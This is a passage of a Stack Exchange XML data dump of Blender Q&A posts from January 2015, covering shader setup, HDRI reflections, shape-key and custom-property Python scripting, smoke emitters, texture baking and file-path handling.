  <row Id="23235" PostTypeId="2" ParentId="23234" CreationDate="2015-01-15T14:33:08.180" Score="4" Body="&lt;p&gt;For the Blender internal renderer you need to enable mirror and adjust the reflectivity, to see an actual reflection like in the image you posted you need other objects like the windows in the environment. Thats the reason why I added a color grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tnj6A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A textured face mirroring (mirror and ray-mirror in the textures Influence/Shading are not ticked)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FgNFY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-01-15T16:12:21.223" LastActivityDate="2015-01-15T16:12:21.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23236" PostTypeId="2" ParentId="21724" CreationDate="2015-01-15T14:40:45.370" Score="1" Body="&lt;p&gt;Properties like&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;L_Hand L_Arm -0.015 0.20 -0.18 (Start_of_Chain(dynamic) End_of_Chain(static) X Y Z)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;could be easily described by XML or JSON. These data could be then dynamically read and applied to &lt;a href=&quot;http://www.openrobots.org/morse/doc/0.5/user/tips/armature_control.html&quot; rel=&quot;nofollow&quot;&gt;&quot;channels&quot;&lt;/a&gt;. For correct use see current &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/&quot; rel=&quot;nofollow&quot;&gt;Blender API&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="11002" LastActivityDate="2015-01-15T14:40:45.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23237" PostTypeId="2" ParentId="23228" CreationDate="2015-01-15T15:50:54.297" Score="7" Body="&lt;p&gt;You can do this somewhat easily, by naming your text block &lt;code&gt;*.py&lt;/code&gt; and checking the &lt;code&gt;Register&lt;/code&gt; checkbox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kDD0Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the script contained in it will be run every time you open the &lt;code&gt;.blend&lt;/code&gt; file.  This is great for registering handlers at the startup of a file. &lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3710" LastEditDate="2015-01-15T17:16:46.617" LastActivityDate="2015-01-15T17:16:46.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23238" PostTypeId="1" AcceptedAnswerId="23240" CreationDate="2015-01-15T16:01:46.517" Score="8" ViewCount="8975" Body="&lt;p&gt;I was making a 3D eye and when I added a glossy material to the model, the light looks great, except for the fact that the model looks too dark. Is there any way to fix it? Maybe add a better material setup for it? (I need a fast/quick material, not a complex one, I have very little time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qxOCT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="3127" LastEditDate="2015-04-13T14:57:02.883" LastActivityDate="2015-12-04T19:24:24.937" Title="How to make the Glossy material in Blender not too dark?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23239" PostTypeId="2" ParentId="23238" CreationDate="2015-01-15T16:08:28.977" Score="13" Body="&lt;p&gt;You need the change your background. It is currently reflecting the sky, wich is that dark grey color. I would recommend adding an &lt;a href=&quot;http://giantcowfilms.com/category/hdrs/&quot; rel=&quot;noreferrer&quot;&gt;HDR image&lt;/a&gt; To add reflections etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Without HDR:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fji95.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;With HDR:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MyHVY.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;No lights or materials were changed in the setup.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Adding A HDR Background:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4mmc6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Set the works &amp;quot;color&amp;quot; to environment texture. You may need to raise the strength to make it bright enough.&lt;/p&gt;&#xA;&lt;p&gt;You can still have the grey background with a little hack if you need it:&lt;/p&gt;&#xA;&lt;p&gt;Simply add these nodes to your world material.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QfAH8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Not-Ideal HDR work around&lt;/strong&gt;&#xA;In the case you don't have an HDR, you can use this workaround. The reflections will be less realistic, but it still works well.&lt;/p&gt;&#xA;&lt;p&gt;Add these nodes to your world material:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L1DAm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cCT0v.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-12-04T19:24:24.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23240" PostTypeId="2" ParentId="23238" CreationDate="2015-01-15T16:08:36.610" Score="10" Body="&lt;p&gt;You can add a &lt;em&gt;Diffuse&lt;/em&gt; shader to your material. The color of a &lt;em&gt;Glossy&lt;/em&gt; shader is influenced by what is being reflected, so having a &lt;em&gt;Diffuse&lt;/em&gt; shader underneath will make the color more consistent across the entire mesh, in all settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HliM2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a 100% white input, here were my results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just Glossy:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fxWNK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With Diffuse:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YOgEK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-15T16:16:57.197" LastActivityDate="2015-01-15T16:16:57.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23241" PostTypeId="2" ParentId="23238" CreationDate="2015-01-15T16:13:41.313" Score="4" Body="&lt;p&gt;Make sure that the color of the glossy shader is set to white, either with an external color node (as seen in @NoviceInDisguise's answer), or with the color setting in the glossy node itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T56QF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-15T16:13:41.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23243" PostTypeId="2" ParentId="23219" CreationDate="2015-01-15T16:29:13.197" Score="2" Body="&lt;p&gt;It looks like you need to be in edit mode with UVs selected on your model in order to direct the baking engine to bake to the texture you have selected in the UV window.&lt;/p&gt;&#xA;" OwnerUserId="9732" LastActivityDate="2015-01-15T16:29:13.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23244" PostTypeId="2" ParentId="23203" CreationDate="2015-01-15T16:36:32.323" Score="1" Body="&lt;p&gt;OK, I was just being stupid...I'm answering the question in case someone else looks at this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had set the origin of the bezier to the endpoint of one of the handles...I thought it was on the actual endpoint of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, even though the origins were lined up and scaled &amp;amp; rotated the same, the modifier was placing the objects with an offset.  It LOOKED like it was going right through the center of the mass of the created objects, but this was just a coincidence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...if you have this problem, check your origins again!  Make sure the endpoint of the spline is placed exactly where you want it and its origin is on the endpoint, not the handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for the replies.&lt;/p&gt;&#xA;" OwnerUserId="10988" LastActivityDate="2015-01-15T16:36:32.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23245" PostTypeId="1" AcceptedAnswerId="23276" CreationDate="2015-01-15T17:03:04.060" Score="3" ViewCount="1330" Body="&lt;p&gt;I have been reading Jason Osipa's &quot;Stop Staring - Facial Modeling and Animation Done Right&quot;. In the book, there is an interesting Mel script I am trying to port to Blender, so far with no success&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the script copies a shape_key andcreates 3 new shape keys, and in each one, the vertices translations in each axis are isolated. Thus we have three new shape keys, one being for the X axis, another being for the Y axis and another for the Z axis. The three combined are equal to the original shape_key.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can access the coordinates of the vertices in the shape key through:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object.data.shape_keys.key_blocks['Key 1'].data[#].co    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;('Key 1' being the shape key name and # the vertex index)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know I can access the vertices in their original position through:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.active_shape_key.data[#].co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(# being the vertex index)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, I thought the code would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;context = bpy.context&#xA;scene = context.scene&#xA;obj = context.object&#xA;shape_name = obj.active_shape_key.name&#xA;&#xA;obj.shape_key_add(name=str(shape_name) + &quot;_X&quot;, from_mix=True)&#xA;obj.shape_key_add(name=str(shape_name) + &quot;_Y&quot;, from_mix=True)&#xA;obj.shape_key_add(name=str(shape_name) + &quot;_Z&quot;, from_mix=True)&#xA;bpy.ops.object.shape_key_add(from_mix=False)&#xA;bpy.ops.object.shape_key_remove(all=False)   #Hack to select the last shape_key in the list&#xA;&#xA;shape_name = obj.active_shape_key.name #Update the active_shape_key.name&#xA;&#xA;for vert in obj.data.vertices: #Isolate the translation on the Z axis first&#xA;    obj.data.shape_keys.key_blocks[shape_name].data[vert.index].co.x = obj.active_shape_key.data[vert.index].co.x&#xA;    obj.data.shape_keys.key_blocks[shape_name].data[vert.index].co.y = obj.active_shape_key.data[vert.index].co.y&#xA;&#xA;obj.active_shape_key_index = obj.active_shape_key_index - 2&#xA;&#xA;shape_name = obj.active_shape_key.name&#xA;&#xA;for vert in obj.data.vertices: #Isolate the translation on the X axis&#xA;    obj.data.shape_keys.key_blocks[shape_name].data[vert.index].co.y = obj.active_shape_key.data[vert.index].co.y&#xA;    obj.data.shape_keys.key_blocks[shape_name].data[vert.index].co.z = obj.active_shape_key.data[vert.index].co.z&#xA;&#xA;obj.active_shape_key_index = obj.active_shape_key_index + 1 &#xA;&#xA;shape_name = obj.active_shape_key.name&#xA;&#xA;for vert in obj.data.vertices: #Isolate the translation on the Y axis&#xA;    obj.data.shape_keys.key_blocks[shape_name].data[vert.index].co.x = obj.active_shape_key.data[vert.index].co.x&#xA;    obj.data.shape_keys.key_blocks[shape_name].data[vert.index].co.z = obj.active_shape_key.data[vert.index].co.z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it does not work and it's driving me mad. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="11004" LastEditorUserId="2217" LastEditDate="2015-01-15T17:13:23.770" LastActivityDate="2015-01-22T22:25:51.513" Title="Script to make copies of a shape key, each one with an isolated translate channel" Tags="&lt;python&gt;&lt;shape-keys&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23246" PostTypeId="1" AcceptedAnswerId="23253" CreationDate="2015-01-15T17:10:23.887" Score="2" ViewCount="140" Body="&lt;p&gt;I want to add some custom properties to a bone by an if statement&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if len(bpy.data.armatures[armSearch].bones[boneSearch].items()) &amp;gt; 1:                    &#xA;    itemCount = len(bpy.data.armatures[armSearch].bones[boneSearch].items()) + 1                                &#xA;    bpy.data.armatures[armSearch].bones[boneSearch][&quot;skName&quot;+str(itemCount)] = shapeKeySearch                     &#xA;&#xA;elif len(bpy.data.armatures[armSearch].bones[boneSearch].items()) == 1:                    &#xA;    bpy.data.armatures[armSearch].bones[boneSearch][&quot;skName&quot;] = shapeKeySearch&#xA;&#xA;else:&#xA;    bpy.data.armatures[armSearch].pose.bones[boneSearch][&quot;skName&quot;] = shapeKeySearch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I look for the ID properties in the console there are already tow of them even though I deleted them. How can I delete them completely ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sUVtR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5885" LastActivityDate="2015-01-15T19:20:05.463" Title="clear ID Properties completely" Tags="&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23247" PostTypeId="2" ParentId="23226" CreationDate="2015-01-15T17:37:20.990" Score="10" Body="&lt;p&gt;You can assign the smoke and fire to come out of just a vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the vertices you want the fire and smoke to come out of, and create a vertex group and assign the vertices to it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gFjGO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to Smoke Flow advanced and use the vertex group to determine where the fire and smoke will come out of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WY9Tu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CAGN8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Every time you make any changes to the smoke/fire simulation you need to press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; to update the simulation cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set up the materials and actually render your smoke in cycles watch&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=oSiV5gg_lCs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=oSiV5gg_lCs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2018-03-14T02:47:34.350" LastActivityDate="2018-03-14T02:47:34.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23249" PostTypeId="1" AcceptedAnswerId="23265" CreationDate="2015-01-15T18:35:20.860" Score="1" ViewCount="2231" Body="&lt;p&gt;I added a HDRI on cycles, but the image is not appearing on the preview or in the reflection of my material on the model i'm using...&#xA;What i'm doing wrong? :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IwVu5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-09-11T05:24:15.127" Title="HDRI not being reflected on Cycles" Tags="&lt;cycles-render-engine&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="23251" PostTypeId="1" AcceptedAnswerId="23252" CreationDate="2015-01-15T19:03:50.567" Score="2" ViewCount="934" Body="&lt;p&gt;I added a HDRI as enviroment on cycles, but the model that i got here (an Eye) isnt reflecting good, at least, not a definite picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;That's what i have:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N32FJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But this is what i need:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UprfD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with this? :( i'm a little lost on Cycles and materials..&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-15T19:14:20.123" Title="Reflection of HDRI in Cycles not working?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="9" ClosedDate="2015-01-15T21:49:20.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="23252" PostTypeId="2" ParentId="23251" CreationDate="2015-01-15T19:14:20.123" Score="2" Body="&lt;p&gt;It looks like you need to turn down the &lt;em&gt;roughness&lt;/em&gt; on the glossy shader.  Roughness is how much the light scatters away from the perfect specular angle.  It makes for blurrier, less crisp reflections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a diagram:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sYlHi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The first three examples on the left are a ray hitting glossy surfaces with varying roughness (left to right no roughness to high roughness), the fourth example is a ray hitting a diffuse surface for comparison.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-01-15T19:14:20.123" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23253" PostTypeId="2" ParentId="23246" CreationDate="2015-01-15T19:20:05.463" Score="2" Body="&lt;p&gt;You delete custom ID property by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;del pose_bone[&quot;ID_prop_name&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-15T19:20:05.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23254" PostTypeId="2" ParentId="23215" CreationDate="2015-01-15T19:58:07.810" Score="2" Body="&lt;p&gt;Your example is tricky because the ring forms a loop to rig, which is difficult for it to work omnidirectional and also stretch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally for sliding stuff like handbags on shoulder etc. you would just IK rig it and give the control a &lt;em&gt;Floor&lt;/em&gt; constraint to emulate the collision. But this would be too difficult here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I suggest placing reasonable amount of bones into the rubber ring and building the same amount of rigid-body collision meshes for it making together the ring. They need to collide with the shaft and be connected with rigid-body joints. When you parent the bones to the pieces it should give the most realistic results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try to rig the torus with a star of bones radiating from the torus center to edges and script a custom driver for them that will move the bones away from the shaft.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-15T19:58:07.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23255" PostTypeId="1" CreationDate="2015-01-15T20:09:59.653" Score="2" ViewCount="1452" Body="&lt;p&gt;I am new to blender and I have a 3D scan of a stone tablet (which I am unfortunately not able to share, so I will try to be as detailed as possible) which was imported as OBJ and MTL files.  The editor displays the texture and mesh perfectly, but when I render the scene (pressing F12) the texture is not there.  I am trying to use blender to reduce the file size of the tablet for use in a three.js visualizer for a website.  I have tried exporting the file as a JSON file (as well as several other file formats to the same effect) for use in my three.js webapp and thought it was an issue with three.js, but after seeing that blender did not render the tablet with the texture I now believe it is an issue with my blender configuration.&lt;/p&gt;&#xA;&lt;p&gt;I am unable to find within blender or online any way to check what current resources I have displayed and what options I have with them.  I have not applied a mesh or texture to the object, but when I do so it renders with the generated texture applied in the default pink.  I am confused as to where the disconnect is between the editor and the renderer.&lt;/p&gt;&#xA;&lt;p&gt;I am still figuring out what is important and where to find all the relevant information, so any help on that regard would be very much appreciated.  Here is what blender looks like for me with the sensitive parts censored (can't be too careful these days):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MgDxH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MgDxH.jpg&quot; alt=&quot;1&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/20845/texture-view-works-but-render-is-without-texture&quot;&gt;Texture view works, but render is without texture&lt;/a&gt;&#xA;And there is no material overwriting the texture - I have not assigned a material to the tablet at all.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: In regards to the duplicate answer, I looked at that one as well and the issue I have is that it doesn't have an actual texture file that I can just put on it.  The OBJ MTL files come with their own file that can't be applied directly to the model.  Blender read the OBJ MTL files and recreated the object inside blender algorithmically - and now I need to know how to get blender to tell me where that texture is and how I can get it to show up in the render.  The texture is not on my hard drive, but entirely within blender which is the issue I am having.&lt;/p&gt;&#xA;" OwnerUserId="11006" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-03-21T23:19:57.447" Title="Imported 3D scan displays texture in editor, but renders without texture" Tags="&lt;texturing&gt;&lt;import&gt;&lt;three.js&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23257" PostTypeId="2" ParentId="2863" CreationDate="2015-01-15T20:37:52.117" Score="3" Body="&lt;p&gt;For scripters who got to this answer looking to implement a similar function, this is in fact possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of returning &lt;code&gt;{&quot;RUNNING_MODAL&quot;}&lt;/code&gt; from your operator, return &lt;code&gt;{&quot;PASS_THROUGH&quot;}&lt;/code&gt; in the cases where you want the input to pass through your operator.&lt;/p&gt;&#xA;" OwnerUserId="10985" LastEditorUserId="10985" LastEditDate="2018-05-02T15:06:56.323" LastActivityDate="2018-05-02T15:06:56.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23258" PostTypeId="1" AcceptedAnswerId="23262" CreationDate="2015-01-15T20:56:39.007" Score="3" ViewCount="1037" Body="&lt;p&gt;I have a &lt;code&gt;StringProperty(subtype=&quot;FILE_PATH)&lt;/code&gt; and I am trying to make it so the user selects a folder and then a file is saved out to the location, but the filepath comes out looking really funky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The folder selected is &lt;code&gt;D:\Pictures&lt;/code&gt;, what the &lt;code&gt;StringProperty&lt;/code&gt; shows is &lt;code&gt;//..\..\&lt;/code&gt;. What is going on here?&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="1363" LastEditDate="2015-01-15T21:39:21.170" LastActivityDate="2015-01-25T15:07:27.047" Title="Trouble file StringProperty subtype FILE_PATH" Tags="&lt;python&gt;&lt;scripting&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23259" PostTypeId="1" CreationDate="2015-01-15T21:14:09.290" Score="2" ViewCount="2660" Body="&lt;p&gt;I am attempting to bake the chairs in a living room scene in Cycles using the &quot;Combined&quot; bake.  When I apply that image texture to the chair it is MUCH too bright compared to a render of the same chair. What other types of bakes should I use and how would I combine them?  The original chair uses a Wood.jpg image texture into a diffused shader mixed with a glossy shader.  I've tried baking diffused direct, diffused color, and glossy, and MixRGB them together, but it looks even worse.  Adding a brightness node &amp;amp; turning down the brightness looks bogus too. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YpOF2.jpg&quot; alt=&quot;Comparison of Render and Baked images&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0D4dC.jpg&quot; alt=&quot;Node editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm adding some more info, but I don't consider this problem answered because what I came up with is a ridiculous kluge that's sill not quite right.  I've tried so many things that at this point I don't think I can replicate all the bakes I'm using. The chair on the left is the one I'm trying to bake. In a nutshell: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two slightly different 'combined' bakes are totally subtracted from each other which leaves shadows too dark &amp;amp; the color messed up. A color adjustment node (RGB Curves) corrects the color which is 'lightened' with a 'diffused color' bake to reduce the shadow from the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said, not really a solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MmSgw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7702" LastEditorUserId="7702" LastEditDate="2015-01-18T03:54:10.417" LastActivityDate="2015-02-27T18:07:54.977" Title="Baking object with &quot;combined&quot; results in much too bright an Image Texture (Cycles)" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23260" PostTypeId="1" AcceptedAnswerId="23277" CreationDate="2015-01-15T21:23:48.303" Score="5" ViewCount="239" Body="&lt;p&gt;I created a run cycle with Blender 2.72b on one computer, saved the dope sheet progress. I opened it on another computer and some parts of the animation are deformed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to save it properly to use on other computers?&#xA;How can I open it on separate computers, And save all data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a0ItO.png&quot; alt=&quot;screen shot of blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6283" LastEditorUserId="2217" LastEditDate="2015-01-15T21:57:54.717" LastActivityDate="2015-02-21T07:00:29.483" Title="Moving animations between computers" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23261" PostTypeId="2" ParentId="23260" CreationDate="2015-01-15T21:35:44.300" Score="3" Body="&lt;p&gt;Check in the user preferences the Menu: File/&lt;em&gt;Auto Execution&lt;/em&gt; option, the rigify rig uses drivers which are disabled by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6lyIH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-15T21:35:44.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23262" PostTypeId="2" ParentId="23258" CreationDate="2015-01-15T21:53:20.460" Score="4" Body="&lt;p&gt;&lt;code&gt;//&lt;/code&gt; indicates a relative path in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you untick &lt;strong&gt;Relative Path&lt;/strong&gt; in the &lt;em&gt;Accept&lt;/em&gt; panel of the file browser to make it an absolute path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can convert a relative path to a absolute path using the built in method &lt;code&gt;bpy.path.abspath(path)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="2617" LastEditDate="2015-01-25T15:07:27.047" LastActivityDate="2015-01-25T15:07:27.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23263" PostTypeId="1" CreationDate="2015-01-15T22:09:03.623" Score="9" ViewCount="5931" Body="&lt;p&gt;I'm trying to create an animate gif of a boat where there's no discontinuity between the end and the beginning. To do this, I need the sails and flags of the boat to return to approximately their starting location at the end of the animation. Most other questions of this type that I've seen involve something where the kind of motion tends to be cyclic, such as a person walking, or a wheel spinning. But the motion of sails and flags doesn't really fit that description. What can I do to achieve this? My blender file is &lt;a href=&quot;http://www.pasteall.org/blend/33836&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5927" LastActivityDate="2018-06-24T22:27:33.133" Title="Seamless looping animation" Tags="&lt;animation&gt;&lt;physics&gt;&lt;cloth-simulation&gt;&lt;force-fields&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
